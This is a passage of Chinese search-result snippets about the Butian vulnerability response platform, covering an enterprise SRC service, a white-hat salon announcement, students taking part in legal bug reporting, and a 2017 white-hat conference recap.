12.补天全栈式SRC服务安全运营补天全栈式SRC服务是面向企业用户推出的多维度建设安全应急响应中心和7×24小时互联网安全测试服务,旨在整合补天超过14万名白帽资源,架起与企业协同的桥梁和纽带,帮企业实现漏洞全生命周期管理、全资产人工漏洞检测收集和漏洞威胁即时感知。采用“竞争优先”和“风险最小https://www.qianxin.com/product/detail/pid/451
13.补天漏洞响应平台的微博#补天白帽城市沙龙# 【上海站】合作SRC大抽奖来啦~康康有没有你心意的礼物快来pick ?收藏 转发 评论 ?1 c +关注 补天漏洞响应平台 2020-7-15 11:42 来自微博weibo.com #补天白帽城市沙龙# 【上海站】时间:7月25日下午地点:上海黄浦区豫园万丽大酒店风里雨里补天都在上海https://www.weibo.com/u/1915533737?is_all=1
14.“以战促学”,学院学子SRC平台尽展技能风采SRC平台是一种专注于处理和响应信息安全漏洞的专业平台,学生们通过合法的漏洞挖掘和安全测试,直面真实的网络安全挑战,通过实际项目的参与,深入地锻炼技术实力。我院学子积极在国家漏洞应急响应中心、补天漏洞应急响应中心、教育漏洞应急响应中心等平台报送各类漏洞,并组建了40多人的甘肃政法大学补天漏洞应急响应中心战队,帮助https://way.gsupl.edu.cn/info/1016/3176.htm
15.精彩回顾2017补天白帽大会安全客补天白帽大会是首个面向全球白帽和技术精英开放,专注于漏洞响应和防护的安全行业大会,由中国最大的漏洞检测与响应平台”补天平台”主办,国内外多家知名企业SRC(Security Response Center)联合支持。 本次大会将秉承开放、协同的原则,广泛邀请国内外知名白帽、技术精英、安全爱好者,与网络安全相关主管机构和知名企业和机构https://www.anquanke.com/post/id/85815